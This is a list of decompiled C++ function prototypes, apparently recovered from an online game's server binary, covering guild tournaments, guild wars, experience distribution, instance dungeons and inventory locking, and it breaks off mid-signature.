GuildTournamentSystem::SendScorePacket::SendtoPlayer(GuildTournamentSystem::SendScorePacket *this, #325 *, int); bool __thiscall GuildTournamentSystem::SendScorePacket::SendtoAllinMap(GuildTournamentSystem::SendScorePacket *this, #325 *, int); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GuildTournamentSystem::GuildMemberInfo *_Val); std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _Where, std::pair *_Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, TickTimer *_Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, TOURNAMENT_PLAYER_SCORE *_Val); int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::erase(...); int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert(...); void __thiscall std::vector>::_Destroy(std::vector > *this, GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last); void __cdecl std::fill(GuildTournamentSystem::FlagInfo *_First, GuildTournamentSystem::FlagInfo *_Last, GuildTournamentSystem::FlagInfo *_Val); void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::FlagInfo *_First, unsigned int _Count, GuildTournamentSystem::FlagInfo *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall GuildTournamentSystem::GuildMasterRevive(GuildTournamentSystem *this, #325 *pReviveObj); void __thiscall GuildTournamentSystem::ChangeAdvanRule(GuildTournamentSystem *this); void __thiscall GuildTournamentSystem::GuildGroup::GuildMasterBuffRun(GuildTournamentSystem::GuildGroup *this); #325 *__thiscall GuildTournamentSystem::GuildGroup::GetManagerUser(GuildTournamentSystem::GuildGroup *this); void __thiscall GuildTournamentSystem::GuildGroup::Update(GuildTournamentSystem::GuildGroup *this, int nTickDeltaTime); void __thiscall GuildTournamentSystem::GuildGroup::SendWinEventToScript(GuildTournamentSystem::GuildGroup *this); void __thiscall GuildTournamentSystem::SendScorePacket::SendScorePacket(GuildTournamentSystem::SendScorePacket *this, GuildTournamentSystem::GuildGroup *pGroup); void __thiscall std::vector>::push_back(std::vector > *this, const unsigned __int16 *_Val); int *__thiscall std::map_std::allocator>>::operator__(std::map,std::allocator > > *this, const unsigned int *_Keyval); void __thiscall std::vector>::push_back(std::vector > *this, TickTimer *_Val); void __thiscall std::vector>::push_back(std::vector > *this, TOURNAMENT_PLAYER_SCORE *_Val); void __thiscall std::vector>::push_back(std::vector > *this); GuildTournamentSystem::Gate *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::Gate *_Ptr, unsigned int _Count, GuildTournamentSystem::Gate *_Val); void __thiscall std::vector>::_Tidy(std::vector > *this); GuildTournamentSystem::AdvanMobItemRegenInfo *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::AdvanMobItemRegenInfo *_Ptr, unsigned int _Count, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val); int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::insert(...); void __thiscall std::vector>::_Destroy(std::vector > *this, GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::Gate *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val); void __thiscall std::vector>::_Destroy(std::vector > *this, GuildTournamentSystem::FlagInfo *_First, GuildTournamentSystem::FlagInfo *_Last); void __thiscall std::map_std::allocator>>::_map_std::allocator>>(std::map,std::allocator > > *this); void __cdecl GuildTournamentSystem::SetGuildMemberGrade(unsigned int regCharNumber, int nGrade); void __thiscall GuildTournamentSystem::DiceGameStart(GuildTournamentSystem *this, int nTick); void __thiscall GuildTournamentSystem::MakeGTItemTargets(GuildTournamentSystem *this, std::vector > *pVector, #325 *pSendObject, #325 *pObject, GTIServer *pServer); void __thiscall GuildTournamentSystem::GuildGroup::AddScore(GuildTournamentSystem::GuildGroup *this, int nScore); void __thiscall GuildTournamentSystem::GuildGroup::SetSkillPoint(GuildTournamentSystem::GuildGroup *this, unsigned int unCount); bool __thiscall GuildTournamentSystem::GuildGroup::UseGuildSkill(GuildTournamentSystem::GuildGroup *this, int nNumber, GuildTournamentSystem::GuildGroup *pEnemyGroup); void __thiscall GuildTournamentSystem::GuildGroup::SetTournamentType(GuildTournamentSystem::GuildGroup *this, int nType); bool __thiscall GuildTournamentSystem::GuildGroup::ChangeGateState(GuildTournamentSystem::GuildGroup *this, bool bUse, const unsigned __int16 hFlag); void __thiscall GuildTournamentSystem::GuildGroup::AddTeamNPC(GuildTournamentSystem::GuildGroup *this, unsigned __int16 Hnd); void __thiscall std::vector>::_vector>(std::vector > *this); int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::insert(...); void __thiscall std::vector>::_Tidy(std::vector > *this); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val); void __thiscall std::vector>::_Tidy(std::vector > *this); GuildTournamentSystem::FlagInfo *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::FlagInfo *_Ptr, unsigned int _Count, GuildTournamentSystem::FlagInfo *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::FlagInfo *_Val); void __thiscall std::map_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>>::_map_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::(std::map,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>>::operator__(std::map,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > *_Keyval); void __thiscall std::vector>::_vector>(std::vector > *this); void __thiscall std::vector>::push_back(std::vector > *this, GuildTournamentSystem::Gate *_Val); void __thiscall std::vector>::push_back(std::vector > *this, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val); void __thiscall std::vector>::_vector>(std::vector > *this); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GuildTournamentSystem::FlagInfo *_Val); void __thiscall GuildTournamentSystem::GuildGroup::_GuildGroup(GuildTournamentSystem::GuildGroup *this); bool __thiscall GuildTournamentSystem::GateRegister(GuildTournamentSystem *this, #325 *, unsigned int, unsigned __int16, const char *); void __thiscall GuildTournamentSystem::DeadPlayer(GuildTournamentSystem *this, #325 *, #325 *); void __thiscall GuildTournamentSystem::Roution(GuildTournamentSystem *this); bool __thiscall GuildTournamentSystem::PlayerRegister(GuildTournamentSystem *this, #325 *pObject); void __thiscall GuildTournamentSystem::SendMapInPlayerInfoToObserber(GuildTournamentSystem *this, #325 *pObject); bool __thiscall GuildTournamentSystem::PlayerUnRegister(GuildTournamentSystem *this, #325 *pObject); bool __thiscall GuildTournamentSystem::EndBattle(GuildTournamentSystem *this, tGuildTournamentResult *rGuildTournamentResult); void __thiscall GuildTournamentSystem::GuildGroup::Clear(GuildTournamentSystem::GuildGroup *this); void __thiscall std::vector>::push_back(std::vector > *this, GuildTournamentSystem::FlagInfo *_Val); bool __thiscall GuildTournamentSystem::Clear(GuildTournamentSystem *this); bool __thiscall GuildTournamentSystem::FlagRegister(GuildTournamentSystem *this, #325 *, const char *, const char *); void __thiscall GuildTournamentSystem::AddAdvanItemMonster(GuildTournamentSystem *this, GuildTournamentSystem::AdvanMobItemRegenInfo *Info, unsigned int GuildNumber); void __thiscall GuildTournamentSystem::GuildGroup::GuildGroup(GuildTournamentSystem::GuildGroup *this); void __thiscall GuildTournamentSystem::GuildTournamentSystem(GuildTournamentSystem *this); void *__thiscall GuildTournamentSystem::_scalar_deleting_destructor_(GuildTournamentSystem *this, unsigned int); void __thiscall GuildTournamentSystem::_GuildTournamentSystem(GuildTournamentSystem *this); bool __thiscall GuildTournamentSystem::Initialize(GuildTournamentSystem *this, unsigned int AGuildNumber, unsigned int BGuildNumber, int nType, int nSeed); void __thiscall GuildWarManager::gwm_Clear(GuildWarManager *this); GuildWarElement *__thiscall GuildWarManager::gwm_IsEnemyGuild(GuildWarManager *this, unsigned int a, unsigned int b); void __thiscall GuildWarManager::gwm_WarStart(GuildWarManager *this, unsigned int a, unsigned int b); void __thiscall GuildWarManager::gwm_WarStop(GuildWarManager *this, unsigned int a, unsigned int b); void __thiscall GuildWarManager::gwm_EnemyCheck(GuildWarManager *this, char cjcresult, unsigned int a, unsigned int b); int __thiscall ShineObjectClass::ShinePlayer::so_PartyRegistNumber_InAttack(void *this); unsigned __int16 __thiscall ShineObjectClass::ShineServant::so_PartyRegistNumber_InAttack(ShineObjectClass::ShineServant *this); int __thiscall ShineObjectClass::ShineObject::so_GetCharRegistNumber_ItemLooter(void *this); unsigned int __thiscall ShineObjectClass::ShineServant::so_GetCharRegistNumber_ItemLooter(ShineObjectClass::ShineServant *this); __int16 __thiscall ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(int this); unsigned __int16 __thiscall ShineObjectClass::ShineServant::so_GetZoneHandle_ItemLooter(ShineObjectClass::ShineServant *this); int __thiscall HitMeList::Enemy::e_TimeCompare(HitMeList::Enemy *this, List *lst, unsigned __int16 hnd); void __thiscall LevelHandicap4ExperienceDouble::LevelHandicap4ExperienceDouble(LevelHandicap4ExperienceDouble *this); void __thiscall LevelHandicap4ExperienceDouble::lh4ed_Load(LevelHandicap4ExperienceDouble *this, OptionReader *or); void __thiscall PartyExperienceBonusDouble::pebd_Load(PartyExperienceBonusDouble *this, OptionReader *or); char __thiscall List::l_Free(List *this, unsigned __int16 hnd); char __thiscall List::l_PopA(List *this, HitMeList::Enemy *ele); char __thiscall ListMaximumSearch::lid_Call(ListMaximumSearch *this, HitMeList::Enemy *ele, unsigned __int16 handle); void __thiscall List::_List(HitMeList::EnemyList *this); int __thiscall HitMeList::Enemy::e_ObjCompare(HitMeList::Enemy *this, List *lst, unsigned __int16 hnd, HitMeList::Enemy *key); void __thiscall ScanEnemy4ExpDist::ScanEnemy4ExpDist(ScanEnemy4ExpDist *this, List *lst, #325 *mob, MobInfoServer *or); void __thiscall ScanEnemy4ExpDist::_ScanEnemy4ExpDist(ScanEnemy4ExpDist *this); void __thiscall ScanEnemy4ExpDist::se4ed_FreeElement(ScanEnemy4ExpDist *this, HitMeList::Enemy *ele, unsigned __int16 handle); void __thiscall ScanEnemy4ExpDist::se4ed_CheckParty(ScanEnemy4ExpDist *this, HitMeList::Enemy *ele, unsigned __int16 handle); void __thiscall ScanEnemy4ExpDist::se4ed_CheckSoloing(ScanEnemy4ExpDist *this, HitMeList::Enemy *ele, unsigned __int16 handle); long double __thiscall LevelHandicap4ExperienceDouble::lh4ed_Handicap(LevelHandicap4ExperienceDouble *this, unsigned __int16 plyparty, int levplayer, int levmob); void __thiscall ExperienceDistribute::ed_GiveExperience(ExperienceDistribute *this, #325 *, int); char __thiscall ExperienceDistribute::lid_Call(ExperienceDistribute *this, HitMeList::Enemy *ele, unsigned __int16 handle); void __cdecl HitMeList::hml_Load(Name4 *world); char __thiscall List::l_PushA(List *this, HitMeList::Enemy *ele); HitMeList::Enemy *__thiscall List::l_MaximumSearch(List *this, int (__thiscall *compfunc)(HitMeList::Enemy *this, List *, unsigned __int16), unsigned __int16 *hnd); HitMeList::Enemy *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(HitMeList::Enemy *this, List *, unsigned __int16, HitMeList::Enemy *), unsigned __int16 *hnd, HitMeList::Enemy *key); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall HitMeList::EnemyList::el_Store(HitMeList::EnemyList *this, #325 *, int); unsigned int __thiscall HitMeList::EnemyList::el_FindLooter(HitMeList::EnemyList *this, char *loot_party); void __thiscall HitMeList::EnemyList::el_ExpDistribute(HitMeList::EnemyList *this, #325 *, MobDataBox::MobDataBoxIndex *, unsigned __int16); char __thiscall ScanEnemy4ExpDist::lid_Call(ScanEnemy4ExpDist *this, HitMeList::Enemy *ele, unsigned __int16 handle); void __thiscall HitMeList::EnemyList::EnemyList(HitMeList::EnemyList *this); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); void __thiscall WorldManagerSession::wms_NC_HOLY_PROMISE_MY_UP_ZONE(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_HOLY_PROMISE_MYUPPER_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __stdcall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseSet(int upper); void __stdcall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseTry(int cenuse); void __cdecl ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenUseSuccess(); void __thiscall HolyPromiseCenTransferManager::hpctm_Process(HolyPromiseCenTransferManager *this, PROTO_NC_HOLY_PROMISE_CENTRANSFER_RNG *transfer); void __thiscall ZoneListenSession::zls_NC_HOLY_PROMISE_CENTRANSFER_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ShineObjectClass::ShinePlayer::sp_HolyPromiseCenFrom(void *this, int cen, int from); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_GET_CEN_REWARD_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_HOLY_PROMISE_DB_GET_CEN_REWARD_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseGetCenReward(void *this, int pDBAck); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_HOLY_PROMISE_WITHDRAW_CEN_REWARD_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_HOLY_PROMISE_DB_WITHDRAW_CEN_REWARD_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseWithdrawCenReward(void *this, int pDBAck); void __thiscall ShineObjectClass::ShinePlayer::so_ply_HolyPromiseCenFrom(void *this, int transfer); char __thiscall ORToken::operator__(ORToken *this, ORToken *nm); FieldOption::InstanceDungeonInfo *__thiscall FieldContainer::fc_GetInstanceDungeonInfo(FieldContainer *this, ORToken *Index); FieldOption::InstanceDungeonInfo *__thiscall FieldContainer::fc_GetInstanceDungeonInfoByMapName(FieldContainer *this, Name3 *pMapName); void __thiscall WorldManagerSession::wms_NC_INSTANCE_DUNGEON_DELETE_DUNGEON_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall KickPlayer::_KickPlayer(KickPlayer *this); void __thiscall IsAnybody::_IsAnybody(IsAnybody *this); char __thiscall IsAnybody::ali_Work(IsAnybody *this, #325 *, #325 *, unsigned int); int __thiscall PROTO_NC_INSTANCE_DUNGEON_FIND_RNG::operator_(int this, int a2); bool __thiscall MapClusterManager::ClusterManager::AddInstanceDungeonCluster(MapClusterManager::ClusterManager *this, const char *ClientMapName, int Index, INSTANCE_DUNGEON::CATEGORY Category); #585 *__thiscall MapClusterManager::MapCluster::mc_FindEmptyByRegnum(MapClusterManager::MapCluster *this, unsigned int RegisterNumber); #585 *__thiscall MapClusterManager::MapCluster::mc_FindExistByRegnum(MapClusterManager::MapCluster *this, unsigned int RegisterNumber); char __thiscall KickPlayer::ali_Work(KickPlayer *this, #325 *, #325 *, unsigned int); int __thiscall FieldMap::fm_KickAll(_DWORD); // weak bool __thiscall FieldMap::fm_Exist(void *this, unsigned int Flag); void __thiscall ZoneListenSession::zls_NC_CHAR_EMPTY_INSTANCE_DUNGEON_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall MapClusterManager::ClusterManager::cm_DeleteInstanceDungeon(MapClusterManager::ClusterManager *this, INSTANCE_DUNGEON::CATEGORY Category, unsigned int RegisterNumber); void __thiscall MapClusterManager::MapCluster::mc_DeleteInstanceDungeon(MapClusterManager::MapCluster *this, int Index); void __thiscall MapClusterManager::MapCluster::mc_DeleteInstanceDungeon(MapClusterManager::MapCluster *this, unsigned int RegisterNumber); char __thiscall MapClusterManager::MapCluster::mc_Routine(MapClusterManager::MapCluster *this, List *lst, unsigned __int16 handle); MapClusterManager::MapCluster *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(MapClusterManager::MapCluster *this, List *, unsigned __int16, MapClusterManager::MapCluster *), unsigned __int16 *hnd, MapClusterManager::MapCluster *key); char __thiscall DeleteInstanceDungeon::lid_Call(DeleteInstanceDungeon *this, MapClusterManager::MapCluster *ele, unsigned __int16 handle); #585 *__thiscall MapClusterManager::ClusterManager::cm_FindEmptyByRegnum(MapClusterManager::ClusterManager *this, const char *clientmapname, unsigned int RegisterNumber); #585 *__thiscall MapClusterManager::ClusterManager::cm_FindExistByRegnum(MapClusterManager::ClusterManager *this, const char *clientmapname, unsigned int RegisterNumber); MapClusterManager::MapCluster *__thiscall MapClusterManager::ClusterManager::cm_FindMapCluster(MapClusterManager::ClusterManager *this, const char *clientmapname); void __thiscall WorldManagerSession::wms_KickPlayerFromInstanceDungeon(WorldManagerSession *this, #325 *, unsigned int); void __thiscall ZoneListenSession::zls_NC_INSTANCE_DUNGEON_FIND_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); UseEffect::UIE_Functions *__thiscall UseEffect::UsedItemEffect::operator__(UseEffect::UsedItemEffect *this, unsigned __int16 itm); int __thiscall HuntLog::MobHuntElement::mhe_Compare(ItemLotAnalyser::LotChanger *this, List *lst, unsigned __int16 hnd, ItemLotAnalyser::LotChanger *key); void __thiscall InventoryLocking::InvenCellReleaser_CenChange::InvenCellReleaser_CenChange(InventoryLocking::InvenCellReleaser_CenChange *this); void __thiscall InventoryLocking::InvenCellReleaser_ItemUse::_InvenCellReleaser_ItemUse(InventoryLocking::InvenCellReleaser_LinkInfo *this); void __thiscall InventoryLocking::InvenCellReleaser_FameChange::InvenCellReleaser_FameChange(InventoryLocking::InvenCellReleaser_FameChange *this); void __thiscall InventoryLocking::InvenCellReleaser_CellClear::InvenCellReleaser_CellClear(InventoryLocking::InvenCellReleaser_CellClear *this); void __thiscall InventoryLocking::InvenCellReleaser_CellChange::InvenCellReleaser_CellChange(InventoryLocking::InvenCellReleaser_CellChange *this); void __thiscall InventoryLocking::InvenCellReleaser_CellChangeSmall::InvenCellReleaser_CellChangeSmall(InventoryLocking::InvenCellReleaser_CellChangeSmall *this); void __thiscall InventoryLocking::InvenCellReleaser_GuildStorageClear::InvenCellReleaser_GuildStorageClear(InventoryLocking::InvenCellReleaser_GuildStorageClear *this); void __thiscall InventoryLocking::InvenCellReleaser_GuildStorageChange::InvenCellReleaser_GuildStorageChange(InventoryLocking::InvenCellReleaser_GuildStorageChange *this); void __thiscall InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageRelocClear::InvenCellReleaser_GuildAcademyRewardStorageRelocClear(InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageWithdrawClear *this); void __thiscall InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageChange::InvenCellReleaser_GuildAcademyRewardStorageChange(InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageReloc *this); void __thiscall InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng(InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng *this); void __thiscall InventoryLocking::InvenCellReleaser_FurnitureReloc::InvenCellReleaser_FurnitureReloc(InventoryLocking::InvenCellReleaser_FurnitureReloc *this); void __thiscall InventoryLocking::InvenCellReleaser_FurnitureCellClear::InvenCellReleaser_FurnitureCellClear(InventoryLocking::InvenCellReleaser_FurnitureCellClear *this); void __thiscall InventoryLocking::InvenCellReleaser_EquipLocation::InvenCellReleaser_EquipLocation(InventoryLocking::InvenCellReleaser_EquipLocation *this); void __thiscall InventoryLocking::InvenCellReleaser_ItemUse::InvenCellReleaser_ItemUse(InventoryLocking::InvenCellReleaser_ItemUse *this); void __thiscall InventoryLocking::InvenCellReleaser_PointStone::InvenCellReleaser_PointStone(InventoryLocking::InvenCellReleaser_PointStone *this); void __thiscall InventoryLocking::InvenCellReleaser_QuestReward::InvenCellReleaser_QuestReward(InventoryLocking::InvenCellReleaser_QuestReward *this); void __thiscall InventoryLocking::InvenCellReleaser_FurnitureReloc::lc_Free(InventoryLocking::InvenCellReleaser_FurnitureReloc *this, #325 *shine); void __thiscall InventoryLocking::InventoryCellLock::InventoryCellLock(InventoryLocking::InventoryCellLock *this); void __thiscall InventoryLocking::InventoryCellLock::_InventoryCellLock(InventoryLocking::InventoryCellLock *this); void __thiscall InventoryLocking::InventoryCellLockList::icl_ClearItemSimple(InventoryLocking::InventoryCellLockList *this, ItemBoxIterator *pBoxIterraotr); void __thiscall InventoryLocking::InventoryCellLockList::icll_SetObject(InventoryLocking::InventoryCellLockList *this, #434 *sp); void __thiscall InventoryLocking::InvenCellReleaser_LinkInfo::InvenCellReleaser_LinkInfo(InventoryLocking::InvenCellReleaser_LinkInfo *this); char __thiscall InventoryLocking::UnlockedInventoryIterator::uii_Home(InventoryLocking::UnlockedInventoryIterator *this); char __thiscall InventoryLocking::UnlockedInventoryIterator::uii_Next(InventoryLocking::UnlockedInventoryIterator *this); char __thiscall List::l_PushZ(List *this, InventoryLocking::LockedCell *ele); char __thiscall List::l_PopA(List *this, InventoryLocking::LockedCell *ele); char __thiscall List::l_PopZ(List *this, InventoryLocking::LockedCell *ele); char __thiscall List::l_PushA(List *this, ItemLotAnalyser::LotChanger *ele); void __thiscall List::_List(ItemLotAnalyser::LotAnalyser *this); void __thiscall InventoryLocking::InvenCellReleaser::icr_Apply(InventoryLocking::InvenCellReleaser *this, #325 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_CenChange::icr_Apply(InventoryLocking::InvenCellReleaser_CenChange *this, #325 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_FameChange::icr_Apply(InventoryLocking::InvenCellReleaser_FameChange *this, #325 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_CellChangeSmall::icr_Apply(InventoryLocking::InvenCellReleaser_CellChangeSmall *this, #325 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_EquipLocation::icr_Apply(InventoryLocking::InvenCellReleaser_EquipLocation *this, #325 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_ItemUse::icr_Apply(InventoryLocking::InvenCellReleaser_ItemUse *this, #325 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_PointStone::icr_Apply(InventoryLocking::InvenCellReleaser_PointStone *this, #325 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_QuestReward::icr_Apply(InventoryLocking::InvenCellReleaser_QuestReward *this, #325 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng::icr_Apply(InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng *this, #325 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser::icr_Reserv(InventoryLocking::InvenCellReleaser *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc); void __thiscall InventoryLocking::InvenCellReleaser_CenChange::icr_Reserv(InventoryLocking::InvenCellReleaser_CenChange *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc); void __thiscall InventoryLocking::InvenCellReleaser_FameChange::icr_Reserv(InventoryLocking::InvenCellReleaser_FameChange *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc); void __thiscall InventoryLocking::InvenCellReleaser_PointStone::icr_Reserv(InventoryLocking::InvenCellReleaser_PointStone *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc); void __thiscall InventoryLocking::InventoryCellLockList::_InventoryCellLockList(InventoryLocking::InventoryCellLockList *this); void __thiscall InventoryLocking::InventoryCellLockList::icl_LockInventory(InventoryLocking::InventoryCellLockList *this, char lck); char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, ITEM_INVEN *inven); char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, ITEM_INVEN *inven, unsigned __int16 ignore); void __thiscall InventoryLocking::InventoryCellLockList::icl_OnlyLock(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int inventype, int invenslot); void __thiscall InventoryLocking::InventoryCellLockList::icl_ClearItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemInventoryCell *cell, ITEM_INVEN *cur, ITEM_INVEN *exchange); void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemInventoryCell *cell, ItemTotalInformation *iti, ITEM_INVEN *cur, ITEM_INVEN *exchange); void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreSmallItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ITEM_INVEN *to, ItemTotalInformation *iti, ITEM_INVEN *cur, ITEM_INVEN *exchange); void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreFurniture(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemInventoryCell *cell, ItemTotalInformation *iti, ITEM_INVEN *cur, ITEM_INVEN *exchange); void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreMoney(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, unsigned __int64 money, int sign); void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreFame(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, unsigned int fame, int sign); void __thiscall InventoryLocking::InventoryCellLockList::icl_EquipLocation(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int equslot, ItemInventoryCell *equcell, int otherhand, ItemInventoryCell *otherhandcell); void __thiscall InventoryLocking::InventoryCellLockList::icl_UseItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemTotalInformation *iti, ITEM_INVEN *inv, UseEffect::UseItemBase *useitemclass); void __thiscall InventoryLocking::InventoryCellLockList::icl_StorePointStone(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int flag, int num); void __thiscall InventoryLocking::InventoryCellLockList::icl_QuestReward(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int exp, int fame, char ct_type, char ct_elementno); InventoryLocking::ReservedQuantity *__thiscall InventoryLocking::InventoryCellLock::icl_ReservedQuantity(InventoryLocking::InventoryCellLock *this, InventoryLocking::ReservedQuantity *reserv); void __thiscall InventoryLocking::InventoryCellLockList::icl_LinktoItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, NPCManager::LinkInformTemplete *pLinkInfo); void __thiscall InventoryLocking::InventoryCellLockList::icl_ItemInfoZoneRng(InventoryLocking::InventoryCellLockList *this, unsigned __int16 index, SHINE_INVEN_SLOT_INFO from, SHINE_INVEN_SLOT_INFO to, ItemTotalInformation changeiteminfo); char __thiscall List::l_PushA(List *this, InventoryLocking::LockedCell *ele); void __thiscall ItemLotAnalyser::LotAnalyser::la_Store(ItemLotAnalyser::LotAnalyser *this, ITEM_INVEN *inven, ItemInventoryCell *cell, int delta); void __thiscall InventoryLocking::InvenCellReleaser_CellClear::icr_Apply(InventoryLocking::InvenCellReleaser_CellClear *this, #325 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_CellChange::icr_Apply(InventoryLocking::InvenCellReleaser_CellChange *this, #325 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_FurnitureReloc::icr_Apply(InventoryLocking::InvenCellReleaser_FurnitureReloc *this, #325 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_FurnitureCellClear::icr_Apply(InventoryLocking::InvenCellReleaser_FurnitureCellClear *this, #325 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_GuildStorageClear::icr_Apply(InventoryLocking::InvenCellReleaser_GuildStorageClear *this, #325 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_GuildStorageChange::icr_Apply(InventoryLocking::InvenCellReleaser_GuildStorageChange *this, #325 *, InventoryLocking::LockedCell *, char); char __thiscall 